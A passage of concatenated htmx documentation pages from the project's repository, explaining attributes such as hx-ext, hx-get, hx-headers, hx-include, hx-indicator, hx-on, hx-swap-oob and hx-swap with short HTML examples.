  <a href="/page2" hx-boost="unset">Go To Page 1</a> <!-- not boosted -->
  <button hx-get="/test" hx-target="this"></button> <!-- hx-select is not inherited -->
</div>
```

```html
<div hx-boost="true" hx-select="#content" hx-target="#content" hx-disinherit="hx-target">
  <!-- hx-select is automatically set to parent's value; hx-target is not inherited -->
  <button hx-get="/test"></button>
</div>
```

```html
<div hx-select="#content">
  <div hx-boost="true" hx-target="#content" hx-disinherit="hx-select">
    <!-- hx-target is automatically inherited from parent's value -->
    <!-- hx-select is not inherited, because the direct parent does
    disables inheritance, despite not specifying hx-select itself -->
    <button hx-get="/test"></button>
  </div>
</div>
```

## Notes

* Read more about [Attribute Inheritance](@/docs.md#inheritance)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-encoding.md

+++
title = "hx-encoding"
description = """\
  The hx-encoding attribute in htmx allows you to switch the request encoding from the usual \
  `application/x-www-form-urlencoded` encoding to `multipart/form-data`, usually to support file uploads in an AJAX \
  request."""
+++

The `hx-encoding` attribute allows you to switch the request encoding from the usual `application/x-www-form-urlencoded`
encoding to `multipart/form-data`, usually to support file uploads in an ajax request.

The value of this attribute should be `multipart/form-data`.

The `hx-encoding` tag may be placed on parent elements.

## Notes

* `hx-encoding` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-ext.md

+++
title = "hx-ext"
description = """\
  The hx-ext attribute in htmx enables one or more htmx extensions for an element and all its children. You can also \
  use this attribute to ignore an extension that is enabled by a parent element."""
+++

The `hx-ext` attribute enables an htmx [extension](https://htmx.org/extensions) for an element and all its children.

The value can be a single extension name or a comma-separated list of extensions to apply.

The `hx-ext` tag may be placed on parent elements if you want a plugin to apply to an entire swath of the DOM,
and on the `body` tag for it to apply to all htmx requests.

## Notes

* `hx-ext` is both inherited and merged with parent elements, so you can specify extensions on any element in the DOM 
hierarchy and it will apply to all child elements. 

* You can ignore an extension that is defined by a parent node using `hx-ext="ignore:extensionName"` 


```html
<div hx-ext="example">
  "Example" extension is used in this part of the tree...
  <div hx-ext="ignore:example">
    ... but it will not be used in this part.
  </div>
</div>
```
```html
<body hx-ext="preload,morph">
  "preload" and "morph" extensions are used in this part of the tree...
</body>
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-get.md

+++
title = "hx-get"
description = """\
  The hx-get attribute in htmx will cause an element to issue a GET request to the specified URL and swap the returned \
  HTML into the DOM using a swap strategy."""
+++

The `hx-get` attribute will cause an element to issue a `GET` to the specified URL and swap
the HTML into the DOM using a swap strategy:

```html
  <button hx-get="/example">Get Some HTML</button>
```

This example will cause the `button` to issue a `GET` to `/example` and swap the returned HTML into
 the `innerHTML` of the `button`.

### Notes

* `hx-get` is not inherited
* By default `hx-get` usually does not include any parameters.  You can use the [hx-params](@/attributes/hx-params.md)
  attribute to change this
    * NB: If the element with the `hx-get` attribute also has a value, this will be included as a parameter unless explicitly removed
* You can control the target of the swap using the [hx-target](@/attributes/hx-target.md) attribute
* You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute
* You can control what event triggers the request with the [hx-trigger](@/attributes/hx-trigger.md) attribute
* You can control the data submitted with the request in various ways, documented here: [Parameters](@/docs.md#parameters)
* An empty `hx-get:""` will make a get request to the current url and will swap the current HTML page

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-headers.md

+++
title = "hx-headers"
description = """\
  The hx-headers attribute in htmx allows you to add to the headers that will be submitted with an AJAX request."""
+++

The `hx-headers` attribute allows you to add to the headers that will be submitted with an AJAX request.

By default, the value of this attribute is a list of name-expression values in [JSON (JavaScript Object Notation)](https://www.json.org/json-en.html)
format.

If you wish for `hx-headers` to *evaluate* the values given, you can prefix the values with `javascript:` or `js:`.

```html
  <div hx-get="/example" hx-headers='{"myHeader": "My Value"}'>Get Some HTML, Including A Custom Header in the Request</div>

  <div hx-get="/example" hx-headers='js:{myVal: calculateValue()}'>Get Some HTML, Including a Dynamic Custom Header from Javascript in the Request</div>
```

## Security Considerations

* By default, the value of `hx-headers` must be valid [JSON](https://developer.mozilla.org/en-US/docs/Glossary/JSON).
  It is **not** dynamically computed.  If you use the `javascript:` prefix, be aware that you are introducing
  security considerations, especially when dealing with user input such as query strings or user-generated content,
  which could introduce a [Cross-Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability.

* Whilst far from being a foolproof solution to [Cross-Site Request Forgery](https://owasp.org/www-community/attacks/csrf), the `hx-headers` attribute can support backend services to provide [CSRF prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html). For more information see the [CSRF Prevention](https://htmx.org/docs/#csrf-prevention) section.

## Notes

* `hx-headers` is inherited and can be placed on a parent element.
* A child declaration of a header overrides a parent declaration.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-include.md

+++
title = "hx-include"
description = "The hx-include attribute in htmx allows you to include additional element values in an AJAX request."
+++

The `hx-include` attribute allows you to include additional element values in an AJAX request. The value of this
attribute can be:

* A CSS query selector of the elements to include.
* `this` which will include the descendants of the element.
* `closest <CSS selector>` which will find the [closest](https://developer.mozilla.org/docs/Web/API/Element/closest)
  ancestor element or itself, that matches the given CSS selector
  (e.g. `closest tr` will target the closest table row to the element).
* `find <CSS selector>` which will find the first child descendant element that matches the given CSS selector.
* `next <CSS selector>` which will scan the DOM forward for the first element that matches the given CSS selector.
  (e.g. `next .error` will target the closest following sibling element with `error` class)
* `previous <CSS selector>` which will scan the DOM backwards for the first element that matches the given CSS selector.
  (e.g. `previous .error` will target the closest previous sibling with `error` class)

Here is an example that includes a separate input value:

```html
<div>
    <button hx-post="/register" hx-include="[name='email']">
        Register!
    </button>
    Enter email: <input name="email" type="email"/>
</div>
```

This is a little contrived as you would typically enclose both of these elements in a `form` and submit
the value automatically, but it demonstrates the concept.

Note that you can also use the `inherit` keyword to inherit parent values for inclusion and add additional values:

```html
<main hx-include="#hidden-input">
    ...
    <button hx-post="/example" hx-include="inherit, [name='email']">
        Post It!
    </button>
    Enter email: <input name="email" type="email"/>
</main>
```


Finally, note that if you include a non-input element, all input elements enclosed in that element will be included.

## Notes

* `hx-include` is inherited and can be placed on a parent element
* While `hx-include` is inherited, it is evaluated from the element triggering the request. It is easy to get confused
  when working with the extended selectors such as `find` and `closest`.
  ```html
  <div hx-include="find input">
      <button hx-post="/register">
          Register!
      </button>
      Enter email: <input name="email" type="email"/>
  </div>
  ```
  In the above example, when clicking on the button, the `find input` selector is resolved from the button itself, which
  does not return any element here, since the button doesn't have any `input` child, thus in this case, raises an error.
* A standard CSS selector resolves
  to [document.querySelectorAll](https://developer.mozilla.org/docs/Web/API/Document/querySelectorAll) and will include
  multiple elements, while the extended selectors such as `find` or `next` only return a single element at most to
  include
* `hx-include` will ignore disabled inputs

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-indicator.md

+++
title = "hx-indicator"
description = """\
  The hx-indicator attribute in htmx allows you to specify the element that will have the `htmx-request` class added \
  to it for the duration of the request. This can be used to show spinners or progress indicators while the request is \
  in flight."""
+++

The `hx-indicator` attribute allows you to specify the element that will have the `htmx-request` class
added to it for the duration of the request. This can be used to show spinners or progress indicators
while the request is in flight.

The value of this attribute is a CSS query selector of the element or elements to apply the class to,
or the keyword [`closest`](https://developer.mozilla.org/docs/Web/API/Element/closest), followed by a CSS selector, 
which will find the closest ancestor element or itself, that matches the given CSS selector (e.g. `closest tr`);

Here is an example with a spinner adjacent to the button:

```html
<div>
    <button hx-post="/example" hx-indicator="#spinner">
        Post It!
    </button>
    <img  id="spinner" class="htmx-indicator" src="/img/bars.svg" alt="Loading..."/>
</div>
```

Note that you can also use the `inherit` keyword to inherit parent values for an indicator and add additional indicator
CSS selectors:

```html
<main hx-indicator="#global-indicator">
    ...
    <button hx-post="/example" hx-indicator="inherit, #spinner">
        Post It!
    </button>
    <img  id="spinner" class="htmx-indicator" src="/img/bars.svg" alt="Loading..."/>
</main>
```

When a request is in flight, this will cause the `htmx-request` class to be added to the `#spinner`
image.  The image also has the `htmx-indicator` class on it, which defines an opacity transition
that will show the spinner:

```css
    .htmx-indicator {
        opacity: 0;
        visibility: hidden;
    }
    .htmx-request .htmx-indicator,
    .htmx-request.htmx-indicator {
        opacity: 1;
        visibility: visible;
        transition: opacity 200ms ease-in;
    }
```
This default `htmx-indicator` CSS also sets the visibility to hidden for better screen reader accessibility and does a quick fade in of the opacity.

If you would prefer a different effect for showing the spinner you could define and use your own indicator
CSS.  Here is an example that uses `display` rather than opacity (Note that we use `my-indicator` instead of `htmx-indicator`):

```css
    .my-indicator{
        display:none;
    }
    .htmx-request .my-indicator,
    .htmx-request.my-indicator{
        display:inline;
    }
```

Note that the target of the `hx-indicator` selector need not be the exact element that you
want to show: it can be any element in the parent hierarchy of the indicator.

Finally, note that the `htmx-request` class by default is added to the element causing
the request, so you can place an indicator inside of that element and not need to explicitly
call it out with the `hx-indicator` attribute:

```html
<button hx-post="/example">
    Post It!
   <img  class="htmx-indicator" src="/img/bars.svg" alt="Loading..."/>
</button>
```

## Demo

This simulates what a spinner might look like in that situation:

<button class="btn" classes="toggle htmx-request:3s">
    Post It!
   <img  class="htmx-indicator" src="/img/bars.svg" alt="Loading..."/>
</button>

## Notes

* `hx-indicator` is inherited and can be placed on a parent element
* In the absence of an explicit indicator, the `htmx-request` class will be added to the element triggering the
  request
* If you want to use your own CSS but still use `htmx-indicator` as class name, then you need to disable `includeIndicatorStyles`. See [Configuring htmx](@/docs.md#config). The easiest way is to add this to the `<head>` of your HTML:
```html
<meta name="htmx-config" content='{"includeIndicatorStyles": false}'>
```
* the `htmx-indicator` CSS added when this config is not disabled uses an inline style tag which may need you to set `inlineStyleNonce` config if you have a strict nonce based CSP policy for `style-src`
```html
<meta name="htmx-config" content='{"inlineStyleNonce": "random-nonce"}'>
```
* If your CSP needs to block all inline style tags then disable `includeIndicatorStyles` and host your own CSS file with a copy of your preferred `htmx-indicator` style from above

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-inherit.md

+++
title = "hx-inherit"
description = """\
  The hx-inherit attribute in htmx allows you to explicitly control attribute inheritance behavior between parent and \
  child elements, providing fine-grained control over which htmx attributes are inherited when the default inheritance \
  system is disabled through configuration."""
+++

The default behavior for htmx is to "inherit" many attributes automatically: that is, an attribute such as
[hx-target](@/attributes/hx-target.md) may be placed on a parent element, and all child elements will inherit
that target.  Some people do not like this feature and instead prefer to explicitly specify inheritance for attributes.

To support this mode of development, htmx offers the `htmx.config.disableInheritance` setting, which can be set to
`true` to prevent inheritance from being the default behavior for any of the htmx attributes.

The `hx-inherit` attribute allows you to control the inheritance of attributes manually.

htmx evaluates attribute inheritance as follows:

* when `hx-inherit` is set on a parent node
  * `inherit="*"` all attribute inheritance for this element will be enabled
  * `hx-inherit="hx-select hx-get hx-target"` enable inheritance for only one or multiple specified attributes

Here is an example of a div that shares an `hx-target` attribute for a set of anchor tags when `htmx.config.disableInheritance`
is set to false:

```html
<div hx-target="#tab-container" hx-inherit="hx-target">
  <a hx-boost="true" href="/tab1">Tab 1</a>
  <a hx-boost="true" href="/tab2">Tab 2</a>
  <a hx-boost="true" href="/tab3">Tab 3</a>
</div>
```

## Notes

* Read more about [Attribute Inheritance](@/docs.md#inheritance)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-on.md

+++
title = "hx-on"
description = """\
  The hx-on attributes in htmx allow you to write inline JavaScript event handlers directly on HTML elements, \
  supporting both standard DOM events and htmx-specific events with improved locality of behavior."""
+++

The `hx-on*` attributes allow you to embed scripts inline to respond to events directly on an element; similar to the 
[`onevent` properties](https://developer.mozilla.org/en-US/docs/Web/Events/Event_handlers#using_onevent_properties) found in HTML, such as `onClick`.

The `hx-on*` attributes improve upon `onevent` by enabling the handling of any arbitrary JavaScript event,
for enhanced [Locality of Behaviour (LoB)](/essays/locality-of-behaviour/) even when dealing with non-standard DOM events. For example, these
attributes allow you to handle [htmx events](/reference#events).

With `hx-on` attributes, you specify the event name as part of the attribute name, after a colon.  So, for example, if
you want to respond to a `click` event, you would use the attribute `hx-on:click`:

```html
<div hx-on:click="alert('Clicked!')">Click</div>
```

Note that this syntax can be used to capture all htmx events, as well as most other custom events, in addition to the
standard DOM events.

One gotcha to note is that DOM attributes do not preserve case. This means, unfortunately, an attribute like
`hx-on:htmx:beforeRequest` **will not work**, because the DOM lowercases the attribute names.  Fortunately, htmx supports
both camel case event names and also [kebab-case event names](@/docs.md#events), so you can use `hx-on:htmx:before-request` instead.

In order to make writing htmx-based event handlers a little easier, you can use the shorthand double-colon `hx-on::` for htmx
events, and omit the "htmx" part:

```html
<!-- These two are equivalent -->
<button hx-get="/info" hx-on:htmx:before-request="alert('Making a request!')">
    Get Info!
</button>

<button hx-get="/info" hx-on::before-request="alert('Making a request!')">
    Get Info!
</button>

```

If you wish to handle multiple different events, you can simply add multiple attributes to an element:
```html
<button hx-get="/info"
        hx-on::before-request="alert('Making a request!')"
        hx-on::after-request="alert('Done making a request!')">
    Get Info!
</button>
```

Finally, in order to make this feature compatible with some templating languages (e.g. [JSX](https://react.dev/learn/writing-markup-with-jsx)) that do not like having a colon (`:`)
in HTML attributes, you may use dashes in the place of colons for both the long form and the shorthand form:

```html
<!-- These two are equivalent -->
<button hx-get="/info" hx-on-htmx-before-request="alert('Making a request!')">
    Get Info!
</button>

<button hx-get="/info" hx-on--before-request="alert('Making a request!')">
    Get Info!
</button>

```

### hx-on (deprecated)
The value is an event name, followed by a colon `:`, followed by the script:

```html
<button hx-get="/info" hx-on="htmx:beforeRequest: alert('Making a request!')">
    Get Info!
</button>
```

Multiple handlers can be defined by putting them on new lines:
```html
<button hx-get="/info" hx-on="htmx:beforeRequest: alert('Making a request!')
                              htmx:afterRequest: alert('Done making a request!')">
    Get Info!
</button>
```


### Symbols

Like `onevent`, two symbols are made available to event handler scripts:

* `this` - The element on which the `hx-on` attribute is defined
* `event` - The event that triggered the handler

### Notes

* `hx-on` is _not_ inherited, however due to
  [event bubbling](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#event_bubbling_and_capture),
  `hx-on` attributes on parent elements will typically be triggered by events on child elements
* `hx-on:*` and `hx-on` cannot be used together on the same element; if `hx-on:*` is present, the value of an `hx-on` attribute
   on the same element will be ignored. The two forms can be mixed in the same document, however.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-params.md

+++
title = "hx-params"
description = """\
  The hx-params attribute in htmx allows you to filter the parameters that will be submitted with an AJAX request."""
+++

The `hx-params` attribute allows you to filter the parameters that will be submitted with an AJAX request.  

The possible values of this attribute are:

* `*` - Include all parameters (default)
* `none` - Include no parameters
* `not <param-list>` - Include all except the comma separated list of parameter names
* `<param-list>` - Include all the comma separated list of parameter names

```html
  <div hx-get="/example" hx-params="*">Get Some HTML, Including Params</div>
```

This div will include all the parameters that a `POST` would, but they will be URL encoded
and included in the URL, as per usual with a `GET`.

## Notes

* `hx-params` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-patch.md

+++
title = "hx-patch"
description = """\
  The hx-patch attribute in htmx will cause an element to issue a PATCH request to the specified URL and swap the \
  returned HTML into the DOM using a swap strategy."""
+++

The `hx-patch` attribute will cause an element to issue a `PATCH` to the specified URL and swap
the HTML into the DOM using a swap strategy:

```html
<button hx-patch="/account" hx-target="body">
  Patch Your Account
</button>
```

This example will cause the `button` to issue a `PATCH` to `/account` and swap the returned HTML into
 the `innerHTML` of the `body`.
 
## Notes

* `hx-patch` is not inherited
* You can control the target of the swap using the [hx-target](@/attributes/hx-target.md) attribute
* You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute
* You can control what event triggers the request with the [hx-trigger](@/attributes/hx-trigger.md) attribute
* You can control the data submitted with the request in various ways, documented here: [Parameters](@/docs.md#parameters)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-post.md

+++
title = "hx-post"
description = """\
  The hx-post attribute in htmx will cause an element to issue a POST request to the specified URL and swap the \
  returned HTML into the DOM using a swap strategy."""
+++

The `hx-post` attribute will cause an element to issue a `POST` to the specified URL and swap
the HTML into the DOM using a swap strategy:

```html
<button hx-post="/account/enable" hx-target="body">
  Enable Your Account
</button>
```

This example will cause the `button` to issue a `POST` to `/account/enable` and swap the returned HTML into
 the `innerHTML` of the `body`.
 
## Notes

* `hx-post` is not inherited
* You can control the target of the swap using the [hx-target](@/attributes/hx-target.md) attribute
* You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute
* You can control what event triggers the request with the [hx-trigger](@/attributes/hx-trigger.md) attribute
* You can control the data submitted with the request in various ways, documented here: [Parameters](@/docs.md#parameters)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-preserve.md

+++
title = "hx-preserve"
description = """\
  The hx-preserve attribute in htmx allows you to keep an element unchanged during HTML replacement. Elements with \
  hx-preserve set are preserved by `id` when htmx updates any ancestor element."""
+++

The `hx-preserve` attribute allows you to keep an element unchanged during HTML replacement.
Elements with `hx-preserve` set are preserved by `id` when htmx updates any ancestor element.
You *must* set an unchanging `id` on elements for `hx-preserve` to work.
The response requires an element with the same `id`, but its type and other attributes are ignored.

## Notes

* `hx-preserve` is not inherited
* You can use `hx-preserve="true"` or use it as a boolean attribute with just `hx-preserve`
* Some elements cannot unfortunately be preserved properly, such as `<input type="text">` (focus and caret position are lost), iframes or certain types of videos. To tackle some of these cases we recommend the [morphdom extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/morphdom-swap/README.md), which does a more elaborate DOM
reconciliation
* When using [History Support](@/docs.md#history) for actions like the back button `hx-preserve` elements will also have their state preserved
* Avoid using [hx-swap](@/attributes/hx-swap.md) set to `none` with requests that could contain a `hx-preserve` element to avoid losing it
* `hx-preserve` can cause elements to be removed from their current location and relocated to a new location when swapping in a partial/oob response
  ```html
  <div id="new_location">
    Just relocated the video here
    <div id="video" hx-preserve></div>
  </div>
  ```
* Can be used on the inside content of a [hx-swap-oob](@/attributes/hx-swap-oob.md) element
  ```html
  <div id="notify" hx-swap-oob="true">
    Notification updated but keep the same retain
    <div id="retain" hx-preserve></div>
  </div>
  ```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-prompt.md

+++
title = "hx-prompt"
description = """\
  The hx-prompt attribute in htmx allows you to show a prompt before issuing a request. The value of the prompt will \
  be included in the request in the `HX-Prompt` header."""
+++

The `hx-prompt` attribute allows you to show a prompt before issuing a request.  The value of
the prompt will be included in the request in the `HX-Prompt` header.

Here is an example:

```html
<button hx-delete="/account" hx-prompt="Enter your account name to confirm deletion">
  Delete My Account
</button>
```

## Notes

* `hx-prompt` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-push-url.md

+++
title = "hx-push-url"
description = """\
  The hx-push-url attribute in htmx allows you to push a URL into the browser location history. This creates a new \
  history entry, allowing navigation with the browser's back and forward buttons."""
+++

The `hx-push-url` attribute allows you to push a URL into the browser [location history](https://developer.mozilla.org/en-US/docs/Web/API/History_API).
This creates a new history entry, allowing navigation with the browser’s back and forward buttons.
htmx snapshots the current DOM and saves it into its history cache, and restores from this cache on navigation.

The possible values of this attribute are:

1. `true`, which pushes the fetched URL into history.
2. `false`, which disables pushing the fetched URL if it would otherwise be pushed due to inheritance or [`hx-boost`](/attributes/hx-boost).
3. A URL to be pushed into the location bar.
   This may be relative or absolute, as per [`history.pushState()`](https://developer.mozilla.org/en-US/docs/Web/API/History/pushState).

Here is an example:

```html
<div hx-get="/account" hx-push-url="true">
  Go to My Account
</div>
```

This will cause htmx to snapshot the current DOM to `localStorage` and push the URL `/account' into the browser location bar.

Another example:

```html
<div hx-get="/account" hx-push-url="/account/home">
  Go to My Account
</div>
```

This will push the URL `/account/home' into the location history.

## Notes

* `hx-push-url` is inherited and can be placed on a parent element
* The [`HX-Push-Url` response header](@/headers/hx-push-url.md) has similar behavior and can override this attribute.
* The [`hx-history-elt` attribute](@/attributes/hx-history-elt.md) allows changing which element is saved in the history cache.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-put.md

+++
title = "hx-put"
description = """\
  The hx-put attribute in htmx will cause an element to issue a PUT request to the specified URL and swap the returned \
  HTML into the DOM using a swap strategy."""
+++

The `hx-put` attribute will cause an element to issue a `PUT` to the specified URL and swap
the HTML into the DOM using a swap strategy:

```html
<button hx-put="/account" hx-target="body">
  Put Money In Your Account
</button>
```

This example will cause the `button` to issue a `PUT` to `/account` and swap the returned HTML into
 the `innerHTML` of the `body`.
 
## Notes

* `hx-put` is not inherited
* You can control the target of the swap using the [hx-target](@/attributes/hx-target.md) attribute
* You can control the swap strategy by using the [hx-swap](@/attributes/hx-swap.md) attribute
* You can control what event triggers the request with the [hx-trigger](@/attributes/hx-trigger.md) attribute
* You can control the data submitted with the request in various ways, documented here: [Parameters](@/docs.md#parameters)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-replace-url.md

+++
title = "hx-replace-url"
description = """\
  The hx-replace-url attribute in htmx allows you to replace the current URL of the browser location history."""
+++

The `hx-replace-url` attribute allows you to replace the current url of the browser [location history](https://developer.mozilla.org/en-US/docs/Web/API/History_API).

The possible values of this attribute are:

1. `true`, which replaces the fetched URL in the browser navigation bar.
2. `false`, which disables replacing the fetched URL if it would otherwise be replaced due to inheritance.
3. A URL to be replaced into the location bar.
   This may be relative or absolute, as per [`history.replaceState()`](https://developer.mozilla.org/en-US/docs/Web/API/History/replaceState).

Here is an example:

```html
<div hx-get="/account" hx-replace-url="true">
  Go to My Account
</div>
```

This will cause htmx to snapshot the current DOM to `localStorage` and replace the URL `/account' in the browser location bar.

Another example:

```html
<div hx-get="/account" hx-replace-url="/account/home">
  Go to My Account
</div>
```

This will replace the URL `/account/home' in the browser location bar.

## Notes

* `hx-replace-url` is inherited and can be placed on a parent element
* The [`HX-Replace-Url` response header](@/headers/hx-replace-url.md) has similar behavior and can override this attribute.
* The [`hx-history-elt` attribute](@/attributes/hx-history-elt.md) allows changing which element is saved in the history cache.
* The [`hx-push-url` attribute](@/attributes/hx-push-url.md) is a similar and more commonly used attribute, which creates a 
  new history entry rather than replacing the current one.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-request.md

+++
title = "hx-request"
description = """\
  The hx-request attribute in htmx allows you to configure the request timeout, whether the request will send \
  credentials, and whether the request will include headers."""
+++

The `hx-request` attribute allows you to configure various aspects of the request via the following attributes:
 
* `timeout` - the timeout for the request, in milliseconds
* `credentials` - if the request will send credentials
* `noHeaders` - strips all headers from the request

These attributes are set using a JSON-like syntax:

```html
<div ... hx-request='{"timeout":100}'>
  ...
</div>
```

You may make the values dynamically evaluated by adding the `javascript:` or `js:` prefix:

```html
<div ... hx-request='js: timeout:getTimeoutSetting() '>
  ...
</div>
```

## Notes

* `hx-request` is merge-inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-select-oob.md

+++
title = "hx-select-oob"
description = """\
  The hx-select-oob attribute in htmx allows you to select content from a response to be swapped in via an out-of-band \
  swap. The value of this attribute is comma separated list of elements to be swapped out of band."""
+++

The `hx-select-oob` attribute allows you to select content from a response to be swapped in via an out-of-band swap.  
The value of this attribute is comma separated list of elements to be swapped out of band.  This attribute is almost
always paired with [hx-select](@/attributes/hx-select.md).

Here is an example that selects a subset of the response content:

```html
<div>
   <div id="alert"></div>
    <button hx-get="/info" 
            hx-select="#info-details" 
            hx-swap="outerHTML"
            hx-select-oob="#alert">
        Get Info!
    </button>
</div>
```

This button will issue a `GET` to `/info` and then select the element with the id `info-details`,
which will replace the entire button in the DOM, and, in addition, pick out an element with the id `alert` 
in the response and swap it in for div in the DOM with the same ID.

Each value in the comma separated list of values can specify any valid [`hx-swap`](@/attributes/hx-swap.md)
strategy by separating the selector and the swap strategy with a `:`, with the strategy otherwise defaulting to `outerHTML`.

For example, to prepend the alert content instead of replacing it:

```html
<div>
   <div id="alert"></div>
    <button hx-get="/info"
            hx-select="#info-details"
            hx-swap="outerHTML"
            hx-select-oob="#alert:afterbegin">
        Get Info!
    </button>
</div>
```

## Notes

* `hx-select-oob` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-select.md

+++
title = "hx-select"
description = "The hx-select attribute in htmx allows you to select the content you want swapped from a response."
+++

The `hx-select` attribute allows you to select the content you want swapped from a response.  The value of
this attribute is a CSS query selector of the element or elements to select from the response.

Here is an example that selects a subset of the response content:

```html
<div>
    <button hx-get="/info" hx-select="#info-detail" hx-swap="outerHTML">
        Get Info!
    </button>
</div>
```

So this button will issue a `GET` to `/info` and then select the element with the id `info-detail`,
which will replace the entire button in the DOM.

## Notes

* `hx-select` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-swap-oob.md

+++
title = "hx-swap-oob"
description = """\
  The hx-swap-oob attribute in htmx allows you to specify that some content in a response should be swapped into the \
  DOM somewhere other than the target, that is 'out-of-band'. This allows you to piggyback updates to other elements \
  on a response."""
+++

The `hx-swap-oob` attribute allows you to specify that some content in a response should be
swapped into the DOM somewhere other than the target, that is "Out of Band".  This allows you to piggyback updates to other element updates on a response.

Consider the following response HTML:

```html
<div>
 ...
</div>
<div id="alerts" hx-swap-oob="true">
    Saved!
</div>

```

The first div will be swapped into the target the usual manner.  The second div, however, will be swapped in as a replacement for the element with the id `alerts`, and will not end up in the target.

The value of the `hx-swap-oob` can be:

* `true`
* any valid [`hx-swap`](@/attributes/hx-swap.md) value
* any valid [`hx-swap`](@/attributes/hx-swap.md) value, followed by a colon, followed by a CSS selector

If the value is `true` or `outerHTML` (which are equivalent) the element will be swapped inline.

If a swap value is given, that swap strategy will be used and the encapsulating tag pair will be stripped for all strategies other than `outerHTML`.

If a selector is given, all elements matched by that selector will be swapped.  If not, the element with an ID matching the new content will be swapped.

### Using alternate swap strategies

As mentioned previously when using swap strategies other than `true` or `outerHTML` the encapsulating tags are stripped, as such you need to encapsulate the returned data with the correct tags for the context.

When trying to insert a `<tr>` in a table that uses `<tbody>`:
```html
<tbody hx-swap-oob="beforeend:#table tbody">
	<tr>
		...
	</tr>
</tbody>
```

A "plain" table:
```html
<table hx-swap-oob="beforeend:#table2">
	<tr>
		...
	</tr>
</table>
```

A `<li>` may be encapsulated in `<ul>`, `<ol>`, `<div>` or `<span>`, for example:
```html
<ul hx-swap-oob="beforeend:#list1">
	<li>...</li>
</ul>
```

A `<p>` can be encapsulated in `<div>` or `<span>`:
```html
<span hx-swap-oob="beforeend:#text">
	<p>...</p>
</span>
```

### Troublesome Tables and lists

Note that you can use a `template` tag to encapsulate types of elements that, by the HTML spec, can't stand on their own in the
DOM (`<tr>`, `<td>`, `<th>`, `<thead>`, `<tbody>`, `<tfoot>`, `<colgroup>`, `<caption>`, `<col>` & `<li>`).

Here is an example with an out-of-band swap of a table row being encapsulated in this way:

```html
<div>
    ...
</div>
<template>
    <tr id="row" hx-swap-oob="true">
        ...
    </tr>
</template>
```

Note that these template tags will be removed from the final content of the page.

### Slippery SVGs

Some element types, like SVG, use a specific XML namespace for their child elements. This prevents internal elements from working correctly when swapped in, unless they are encapsulated within a `svg` tag. To modify the internal contents of an existing SVG, you can use both `template` and `svg` tags to encapsulate the elements, allowing them to get the correct namespace applied.

Here is an example with an out-of-band swap of svg elements being encapsulated in this way:

```html
<div>
    ...
</div>
<template><svg>
    <circle hx-swap-oob="true" id="circle1" r="35" cx="50" cy="50" fill="red" /> 
</svg></template>
<template><svg hx-swap-oob="beforebegin:#circle1">
    <circle id="circle2" r="45" cx="50" cy="50" fill="blue" /> 
</svg></template>
```
This will replace circle1 inline and then insert circle2 before circle1. 

Note that these `template` and `svg` wrapping tags will be removed from the final content of the page.

## Nested OOB Swaps

By default, any element with `hx-swap-oob=` attribute anywhere in the response is processed for oob swap behavior, including when an element is nested within the main response element.
This can be problematic when using [template fragments](https://htmx.org/essays/template-fragments/) where a fragment may be reused as an oob-swap target and also as part of a bigger fragment. When the bigger fragment is the main response the inner fragment will still be processed as an oob swap, removing it from the dom.

This behavior can be changed by setting the config `htmx.config.allowNestedOobSwaps` to `false`. If this config option is `false`, OOB swaps are only processed when the element is *adjacent to* the main response element, OOB swaps elsewhere will be ignored and oob-swap-related attributes stripped.

## Notes

* `hx-swap-oob` is not inherited

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-swap.md

+++
title = "hx-swap"
description = """\
  The hx-swap attribute in htmx allows you to specify the 'swap strategy', or how the response will be swapped in \
  relative to the target of an AJAX request. The default swap strategy is `innerHTML`."""
+++

The `hx-swap` attribute allows you to specify how the response will be swapped in relative to the
[target](@/attributes/hx-target.md) of an AJAX request. If you do not specify the option, the default is
`htmx.config.defaultSwapStyle` (`innerHTML`).

The possible values of this attribute are:

* `innerHTML` - Replace the inner html of the target element
* `outerHTML` - Replace the entire target element with the response
* `textContent` - Replace the text content of the target element, without parsing the response as HTML
* `beforebegin` - Insert the response before the target element
* `afterbegin` - Insert the response before the first child of the target element
* `beforeend` - Insert the response after the last child of the target element
* `afterend` - Insert the response after the target element
* `delete` - Deletes the target element regardless of the response
* `none`- Does not append content from response (out of band items will still be processed).

These options are based on standard DOM naming and the 
[`Element.insertAdjacentHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)
specification.

So in this code:

```html
